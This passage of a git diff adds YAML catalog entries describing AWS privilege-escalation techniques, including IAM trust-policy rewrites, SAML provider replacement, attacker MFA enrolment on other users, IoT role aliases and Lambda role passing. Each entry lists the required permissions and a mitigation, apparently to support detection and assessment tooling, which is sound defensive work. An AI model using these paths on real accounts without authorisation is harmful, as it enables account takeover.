same_account_trust_no_assumerole_needed + description: The source writes the new role's trust policy naming its own ARN; in the same account that trust alone authorizes sts:AssumeRole, so no identity grant is required (an explicit identity-policy or SCP deny on sts:AssumeRole still blocks it). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Require iam:PermissionsBoundary on iam:CreateRole for delegated administrators and restrict role attach/put to boundary-carrying roles. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html + notes: "The AttachRolePolicy branch tries AdministratorAccess and collected customer-managed policies whose default version clearly grants unrestricted actions and resources. Every action must cover the same newly creatable role ARN, and the source must be able to assume that role after creation." + +- id: aws-iam-addusertogroup + provider: aws + service: iam + title: Add the source user to an IAM group + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamaddusertogroup + source_revision: 171e422299 + summary: The source IAM user can obtain the privileges of IAM groups it can add itself to. + requires: + all_of: + - action: iam:AddUserToGroup + resource: "{target.arn}" + target: + kind: aws_group + selector: + resource_permission_covers_target: iam:AddUserToGroup + source_kind: aws_user + scope: same_account + aggregate_as: "IAM groups covered by iam:AddUserToGroup in {account}" + preconditions: + - group_adds_policy_to_source + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:AddUserToGroup to administrators or to specific low-privilege groups. + references: [] + notes: The Resource of iam:AddUserToGroup is the group ARN. Only IAM users can be group members. The evaluator confirms a new effective self-policy edit, administrator policy attachment, or assumption of a specific trusted role; other policy gains remain unresolved until their action and resource are joined to an outcome. + +- id: aws-iam-updateassumerolepolicy + provider: aws + service: iam + title: Rewrite a role's trust policy to allow the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateassumerolepolicy + source_revision: 171e422299 + summary: The source can obtain the privileges of roles whose trust policy it can rewrite. + requires: + all_of: + - action: iam:UpdateAssumeRolePolicy + resource: "{target.arn}" + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:UpdateAssumeRolePolicy + scope: same_account + aggregate_as: "IAM roles covered by iam:UpdateAssumeRolePolicy in {account}" + preconditions: + - role_trust_rewrite_assumable + conditions: + - id: assumerole_grant + description: If the rewritten trust names the source principal ARN (same account) no identity-policy sts:AssumeRole is needed; if it names only the account root, sts:AssumeRole on the role is also required. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:UpdateAssumeRolePolicy to administrators; monitor trust-policy changes. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html + notes: Service-linked roles cannot have their trust policy edited and must be excluded from the target set. + +- id: aws-iam-updatesamlprovider + provider: aws + service: iam + title: Replace the metadata of a SAML provider trusted by roles + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdatesamlprovider-iamlistsamlproviders-iamgetsamlprovider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles trusting a SAML provider whose metadata it can replace. + requires: + all_of: + - action: iam:UpdateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_allows_saml_provider_covered_by: iam:UpdateSAMLProvider + scope: same_account + aggregate_as: "Roles trusting a SAML provider covered by iam:UpdateSAMLProvider in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (e.g. saml:aud, saml:sub) must be satisfiable; a forged assertion normally can satisfy them. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:UpdateSAMLProvider/CreateSAMLProvider to administrators; alert on SAML provider changes. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html + notes: "Requires a new placeholder {target.saml_provider_arn}: the SAML provider ARN named in the target role's trust policy. sts:AssumeRoleWithSAML needs no identity permissions." + +- id: aws-iam-recreate-samlprovider + provider: aws + service: iam + title: Replace a trusted SAML provider with an attacker-controlled one of the same name + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles trusting a SAML provider by deleting it and registering a provider with the same name and its own signing metadata. + requires: + all_of: + - action: iam:DeleteSAMLProvider + resource: "{target.saml_provider_arn}" + - action: iam:CreateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_allows_saml_provider_covered_by: iam:DeleteSAMLProvider + scope: same_account + aggregate_as: "Roles trusting a SAML provider the source can recreate in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (saml:aud, saml:sub, saml:iss) must be satisfiable by an assertion the source signs; normally they are. + - id: disruption + description: Deleting the provider breaks legitimate federation until it is recreated, which is noisy. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:CreateSAMLProvider / DeleteSAMLProvider / UpdateSAMLProvider to administrators and alert on identity-provider changes. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_saml.html + notes: Registering a brand-new provider only escalates combined with a role that trusts it, which iam:CreateRole / iam:UpdateAssumeRolePolicy already grant directly (aws-iam-createrole-attach-assume, aws-iam-updateassumerolepolicy). The OIDC audience variant is aws-iam-oidcprovider-add-client-id and planting a provider that a trust names but that no longer exists is aws-iam-createsamlprovider-orphaned-trust / aws-iam-createoidcprovider-orphaned-trust. + +- id: aws-iam-createsamlprovider-orphaned-trust + provider: aws + service: iam + title: Register a SAML provider that a role trusts but that no longer exists + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles whose trust names a SAML provider ARN of the account that does not exist, by creating that provider with its own signing metadata. + requires: + all_of: + - action: iam:CreateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_federated_provider_missing: saml + scope: same_account + aggregate_as: "Roles trusting a missing SAML provider in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (saml:aud, saml:sub, saml:iss) must be satisfiable by an assertion the source signs; normally they are. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Remove trust statements naming deleted identity providers and restrict iam:CreateSAMLProvider to administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html + notes: Needs the account's SAML provider inventory (iam:ListSAMLProviders); without it the targets are unresolved placeholders. + +- id: aws-iam-enable-attacker-mfa-device-other-user + provider: aws + service: iam + title: Enrol an attacker-controlled virtual MFA device on another user and mint its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatevirtualmfadevice-iamenablemfadevice-and-the-target-users-access-keys + source_revision: 6fb9ac51fd + summary: The source can obtain MFA-authenticated sessions of IAM users on which it can enable a virtual MFA device it created and create access keys or a console password, including users whose permissions are gated on MFA or whose console sign-in is protected by MFA. + requires: + all_of: + - action: iam:CreateVirtualMFADevice + resource: "arn:{source.partition}:iam::{target.account}:mfa/*" + - action: iam:EnableMFADevice + resource: "{target.arn}" + any_of: + - - action: iam:CreateAccessKey + resource: "{target.arn}" + - - action: iam:CreateLoginProfile + resource: "{target.arn}" + - - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:EnableMFADevice + scope: same_account + aggregate_as: IAM users on which the source can enrol its own MFA device and mint credentials in {account} + outcome: credentials + preconditions: + - mfa_enrollment_credential_ready + conditions: + - id: mfa_device_limit + description: An IAM user can hold at most eight MFA devices; a user already at the limit also needs iam:DeactivateMFADevice on the target. + - id: credential_state + description: CreateAccessKey needs fewer than two existing keys (or iam:DeleteAccessKey plus a known existing key ID); CreateLoginProfile needs the user to have no console password; UpdateLoginProfile needs an existing one. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:EnableMFADevice and iam:CreateVirtualMFADevice to self-service on the caller's own user (aws:username), and alert on a second MFA enrolment for a user that already has one. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_EnableMFADevice.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateVirtualMFADevice.html + - https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html + notes: Complements aws-iam-createaccesskey-other-user / aws-iam-createloginprofile-other-user / aws-iam-updateloginprofile-other-user by removing their MFA caveats (aws:MultiFactorAuthPresent-gated policies and MFA-protected console sign-in). GetSessionToken needs no IAM permission. The page notes the technique needs the target's access keys; the any_of supplies the credential-creation half that makes it reachable from configuration alone. + +- id: aws-iam-deactivate-mfa-loginprofile-other-user + provider: aws + service: iam + title: Remove another user's MFA device and set its console password + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsshpublickey--iamdeactivatemfadevice + source_revision: 6fb9ac51fd + summary: The source can obtain console access as MFA-protected IAM users by deactivating their MFA device and creating or resetting their console password. + requires: + all_of: + - action: iam:DeactivateMFADevice + resource: "{target.arn}" + any_of: + - - action: iam:CreateLoginProfile + resource: "{target.arn}" + - - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:DeactivateMFADevice + scope: same_account + aggregate_as: IAM users whose MFA the source can remove and whose password it can set in {account} + outcome: credentials + preconditions: + - mfa_removal_password_ready + conditions: + - id: all_devices_removed + description: Every MFA device of the target must be deactivated (one DeactivateMFADevice per device serial) before password-only sign-in works. + - id: login_profile_state + description: CreateLoginProfile needs the user to have no console password; UpdateLoginProfile needs an existing one. + - id: mfa_gated_permissions_lost + description: Permissions conditioned on aws:MultiFactorAuthPresent are not usable from the resulting password-only session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:DeactivateMFADevice and login-profile management on other users to break-glass administrators and alert on DeactivateMFADevice. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateLoginProfile.html + notes: Lifts the target_mfa condition of aws-iam-createloginprofile-other-user / aws-iam-updateloginprofile-other-user. DeactivateMFADevice alone (password unknown) stays out of scope. + +- id: aws-iam-createpolicyversion-assumable-role + provider: aws + service: iam + title: Rewrite a managed policy attached to an assumable role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatepolicyversion + source_revision: 8d6a341c8a + summary: A new default version of a customer-managed policy can grant administration to a role the source can assume. + requires: + all_of: + - action: iam:CreatePolicyVersion + resource: "{source.assumable_role_attached_policy_arn}" + target: + kind: aws_account_admin + selector: + via_assumable_role_attached_policy_covered_by: iam:CreatePolicyVersion + scope: same_account + outcome: scope_control + conditions: + - id: policy_version_capacity + description: A policy with five versions requires permission to delete a nondefault version before creation. + blockers: [scp_or_boundary_deny] + confidence: conditional + severity: critical + mitigation: Separate policy-version editing from role assumption and constrain the role with a boundary. + +- id: aws-iam-createuser-policy-accesskey + provider: aws + service: iam + title: Create a privileged IAM user and obtain its access key + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#common-iam-persistence + source_revision: b587e6bd26 + summary: The source can create a new IAM user, grant it administrator permissions, and obtain credentials independent of the source identity. + requires: + all_of: + - action: iam:CreateUser + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + - action: iam:CreateAccessKey + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + any_of: + - - action: iam:PutUserPolicy + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + - - action: iam:AttachUserPolicy + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + scope: same_account + outcome: scope_control + aggregate_as: Administrator of {account} through a newly created IAM user + conditions: + - id: new_user_policy + description: The caller can choose an administrator-equivalent inline policy or attach an administrator-equivalent managed policy to the same new user, and retains its access key. + - id: effective_permissions + description: SCPs, permissions boundaries, session conditions and policy attachment restrictions must permit the resulting administrator actions. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Separate user creation from policy grants and credential issuance; restrict each action to approved identity administration. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + notes: The same new user must be covered by every action; managed-policy attachment additionally requires a policy ARN that actually grants the desired permissions. diff --git a/src/privilege-escalation-paths-research/aws/imagebuilder.yaml b/src/privilege-escalation-paths-research/aws/imagebuilder.yaml new file mode 100644 index 0000000000..30e39ccef1 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/imagebuilder.yaml @@ -0,0 +1,39 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EC2 Image Builder privilege escalation techniques. +# Source: hacktricks-cloud aws-ec2-image-builder-privesc/README.md. + +- id: aws-imagebuilder-component-version-hijack + provider: aws + service: imagebuilder + title: Publish a newer component version consumed by a wildcard recipe and run the pipeline + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-image-builder-privesc/README.md#imagebuildercreatecomponent--imagebuilderstartimagepipelineexecution + source_revision: 3a7851fefe + summary: The source can obtain the privileges of the infrastructure instance-profile role of an Image Builder pipeline whose recipe references an account-owned component by a version wildcard. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + via_resource_type: imagebuilder_pipeline + scope: same_account + aggregate_as: "Image Builder infrastructure roles of pipelines with unpinned component builds in {account}" + preconditions: + - imagebuilder_component_publish_and_pipeline_start + conditions: + - id: unpinned_component + description: The recipe must reference an account-owned component by a wildcard semantic version or an exact semantic version without a build number. A pinned build ARN and AWS-owned components are not affected. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Pin component build versions in recipes and restrict imagebuilder:CreateComponent for consumed component names. + references: [] + notes: No iam:PassRole is needed. The build role is the instance-profile role of the infrastructure configuration and trusts ec2.amazonaws.com. The evaluator joins a collected recipe component, the pipeline carrying that profile role, CreateComponent permission covering a future matching version or build, and StartImagePipelineExecution on that same pipeline. A policy scoped to one fixed existing build does not establish publication of a newer build. Missing recipe or pipeline facts stay unresolved. Scheduled pipelines may also pick up a new component version later, but this entry needs a source-startable pipeline to establish execution. diff --git a/src/privilege-escalation-paths-research/aws/iot.yaml b/src/privilege-escalation-paths-research/aws/iot.yaml new file mode 100644 index 0000000000..1ef22a9640 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/iot.yaml @@ -0,0 +1,95 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IoT Core privilege escalation techniques. +# Source: hacktricks-cloud aws-iot-privesc/README.md and aws-iot-core-privesc/README.md (rev 171e422299). + +- id: aws-iot-passrole-rolealias-certificate + provider: aws + service: iot + title: Create an IoT role alias and certificate policy to assume a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreaterolealias--updaterolealias--iampassrole--assume-an-arbitrary-role-via-a-device-certificate + source_revision: 6fb9ac51fd + summary: The source can create a new role alias and IoT policy, then use an active certificate it generates or registers to obtain credentials for a passable role trusting the IoT credential provider. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: iot.amazonaws.com + - action: iot:AttachPolicy + resource: "*" + - action: iot:CreateRoleAlias + resource: "*" + - action: iot:CreatePolicy + resource: "*" + any_of: + - - action: iot:CreateKeysAndCertificate + resource: "*" + - - action: iot:RegisterCertificateWithoutCA + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: credentials.iot.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting credentials.iot.amazonaws.com passable in {account}" + outcome: credentials + preconditions: + - iot_new_alias_policy_certificate_same_region + conditions: + - id: fresh_alias_and_policy + description: The caller creates a new role alias and IoT policy allowing iot:AssumeRoleWithCertificate on that alias, then attaches the policy to an active generated or self-registered certificate whose private key it holds. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on IoT credential-provider roles and the IoT alias, policy and certificate permissions to IoT administrators. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_CreateRoleAlias.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_RegisterCertificateWithoutCA.html + notes: This is the self-contained new-alias/new-policy/new-certificate path, including a locally generated certificate registered without a CA. The existing-alias route below covers repointing a collected alias with a new policy and certificate. Reusing an existing policy or already-held certificate still requires separate exact joins. The aws-iot-core-privesc page documents the same family. + +- id: aws-iot-update-existing-alias-new-certificate + provider: aws + service: iot + title: Repoint an existing IoT role alias to a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreaterolealias--updaterolealias--iampassrole--assume-an-arbitrary-role-via-a-device-certificate + source_revision: 117eefa65f + summary: The source can repoint an existing IoT role alias to a passable role, then use a newly generated or self-registered certificate with a new IoT policy to obtain that role's credentials. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: iot.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: credentials.iot.amazonaws.com + scope: same_account + aggregate_as: "Roles reachable by repointing a collected IoT alias in {account}" + outcome: credentials + preconditions: + - iot_existing_alias_new_policy_certificate_same_region + conditions: + - id: exact_existing_alias + description: A collected alias in the same Region can be updated by the source to point to the target role. + - id: controlled_certificate + description: The source can create an IoT policy for that alias and attach it to a generated or self-registered active certificate whose private key it holds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit UpdateRoleAlias and iam:PassRole for IoT credential-provider roles, and restrict who can create and attach IoT certificate policies. + references: + - https://docs.aws.amazon.com/iot/latest/apireference/API_ListRoleAliases.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_UpdateRoleAlias.html + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + notes: The exact alias is observed by ListRoleAliases; no existing certificate or policy is assumed. Another same-Region path must let the source create a policy and active certificate and attach that policy to the certificate. diff --git a/src/privilege-escalation-paths-research/aws/lambda.yaml b/src/privilege-escalation-paths-research/aws/lambda.yaml new file mode 100644 index 0000000000..254660fc6e --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/lambda.yaml @@ -0,0 +1,557 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Lambda privilege escalation techniques. +# Source: hacktricks-cloud aws-lambda-privesc/README.md (rev 171e422299). +# Conventions used across catalog/aws/*.yaml written for AWS part B (see SCHEMA EXTENSIONS in the agent report): +# resource "{target.resource_arn}" -> ARN of the EXISTING resource (function, instance, job, cluster, ...) that carries the +# target role; every requirement using it must cover the SAME resource. +# resource "{target.artifact_arn}" -> ARN of an executable artifact (S3 object, ECR repository, SSM document) that the +# target role's workload later consumes/executes. +# selector via_resource_type: -> target role is the execution/instance role of an existing resource of type +# whose ARN is {target.resource_arn}. +# selector via_artifact_type: -> target role is the role of a workload that consumes the artifact {target.artifact_arn}. + +- id: aws-lambda-passrole-createfunction-invokefunction + provider: aws + service: lambda + title: Create a Lambda function with a passed execution role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdainvokefunction + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:InvokeFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions on the PassRole grant may restrict which roles can be passed to Lambda. + - id: invoke_resource_scope + description: lambda:InvokeFunction must cover the newly created function name; a name-restricted Resource limits which names the source can use but does not remove the edge if any covered name is free. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific Lambda execution roles with iam:PassedToService=lambda.amazonaws.com, and scope lambda:CreateFunction/InvokeFunction to named functions. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html + notes: Only roles whose trust policy allows lambda.amazonaws.com can be used as an execution role. + +- id: aws-lambda-passrole-createfunction-addpermission + provider: aws + service: lambda + title: Create a Lambda function with a passed role and grant itself invoke via the resource policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdaaddpermission + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com without holding lambda:InvokeFunction. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:AddPermission + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:Principal: + source_principal: true + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + - id: source_invoke_grant + description: The new function's resource policy must grant lambda:InvokeFunction to the source principal without a URL-only or service-source restriction. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and lambda:AddPermission; deny lambda:AddPermission except to deployment principals. + references: [] + notes: Same reachable set as the CreateFunction+InvokeFunction variant; distinct permission combination. + +- id: aws-lambda-passrole-createfunction-createeventsourcemapping + provider: aws + service: lambda + title: Create a Lambda function with a passed role and trigger it through an event source mapping + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreateeventsourcemapping + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com via an event-source-triggered function. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:CreateFunction + resource: "*" + - action: lambda:CreateEventSourceMapping + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - lambda_existing_sqs_queue_function_and_role + conditions: + - id: event_source_available + description: An existing SQS queue can trigger the new function when the source can send a message and the passed role can receive and delete it. Other poll-based sources remain unresolved until their source, trigger, and role grants are joined. + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific roles with iam:PassedToService, and restrict lambda:CreateEventSourceMapping to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/invocation-eventsourcemapping.html + - https://docs.aws.amazon.com/lambda/latest/dg/services-sqs-configure.html + notes: HackTricks uses DynamoDB as the trigger; a separate self-contained DynamoDB variant is aws-lambda-passrole-createfunction-dynamodb-stream-trigger. This general route reports a conditional edge for one collected SQS queue only when SendMessage, ReceiveMessage, DeleteMessage, GetQueueAttributes, a same-Region new function, function-bound PassRole, and a resource-less CreateEventSourceMapping grant all join. A customer-managed encrypted queue needs key grants and stays unresolved here. Other poll-based sources remain unknown until their permissions and a record-producing path are established. + +- id: aws-lambda-passrole-createfunction-dynamodb-stream-trigger + provider: aws + service: lambda + title: Create a Lambda function with a passed role and trigger it from a new DynamoDB stream + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreateeventsourcemapping + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com by creating a DynamoDB table with a stream, mapping the stream to a function it creates with the role, and writing an item to fire it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:CreateFunction + resource: "*" + - action: lambda:CreateEventSourceMapping + resource: "*" + - action: dynamodb:CreateTable + resource: "arn:{source.partition}:dynamodb:*:{target.account}:table/*" + - action: dynamodb:PutItem + resource: "arn:{source.partition}:dynamodb:*:{target.account}:table/*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - lambda_new_dynamodb_stream_function_and_role + conditions: + - id: role_reads_stream + description: The passed role must be able to read the new table's stream with dynamodb:DescribeStream, GetShardIterator, and GetRecords; ListStreams is checked as a resource-less action for the documented Lambda stream policy. + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific roles with iam:PassedToService, and restrict lambda:CreateEventSourceMapping and dynamodb:CreateTable to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/with-ddb.html + - https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/iam__privesc_scan + notes: Pacu PassExistingRoleToNewLambdaThenTriggerWithNewDynamo. A new table is created with StreamSpecification enabled, a new function uses the exact passed role, and an enabled mapping targets that function. PutItem on the same table supplies a stream record. The evaluator joins one available table and function name in one Region, stream-reading role grants, PassRole bound to that function, and a resource-less CreateEventSourceMapping grant with lambda:FunctionArn context. A conditional permission or unavailable inventory stays unresolved. + +- id: aws-lambda-updatefunctioncode + provider: aws + service: lambda + title: Replace the code of an existing Lambda function + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaupdatefunctioncode + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Lambda functions whose code it can update. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of Lambda functions updatable in {account}" + preconditions: + - lambda_existing_zip_function_direct_invoke_ready + conditions: + - id: function_invocation + description: The source can invoke the same function after updating its code; an uncollected trigger remains unresolved. + blockers: + - lambda_code_signing_enforced + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict lambda:UpdateFunctionCode to the deployment pipeline on specific function ARNs and enforce a code-signing config with UntrustedArtifactOnDeployment=Enforce. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-codesigning.html + notes: A reported route uses one active ZIP function with completed update status, no enforced code signing, and matching UpdateFunctionCode and InvokeFunction permissions. Image functions and unverified trigger paths stay unresolved. + +- id: aws-lambda-codesigning-bypass-updatefunctioncode + provider: aws + service: lambda + title: Remove or replace a function's code-signing config, then replace its code + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdadeletefunctioncodesigningconfig-or-lambdaputfunctioncodesigningconfig--lambdaupdatefunctioncode--bypass-lambda-code-signing + source_revision: a66f094ede + summary: The source can obtain the privileges of the execution role of code-signed Lambda functions whose code-signing config it can remove or replace. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of code-signed Lambda functions in {account}" + preconditions: + - lambda_enforced_zip_function_signing_bypass_and_invoke + conditions: + - id: warn_config_available + description: PutFunctionCodeSigningConfig must cover a real Warn configuration ARN; UpdateCodeSigningConfig on the current configuration is another possible route. + - id: function_invocation + description: The function must run after the change (own InvokeFunction permission or existing trigger). + - id: lambda_codesigningconfigarns_condition + description: A lambda:CodeSigningConfigArns condition on CreateFunction/UpdateFunctionCode policies can force a specific config and prevents the swap path. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Deny lambda:DeleteFunctionCodeSigningConfig, lambda:PutFunctionCodeSigningConfig and lambda:CreateCodeSigningConfig to non-admins, and enforce code signing via SCP with lambda:CodeSigningConfigArns. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-codesigning.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_lambda.html + notes: DeleteFunctionCodeSigningConfig is authorized on the function ARN. PutFunctionCodeSigningConfig and 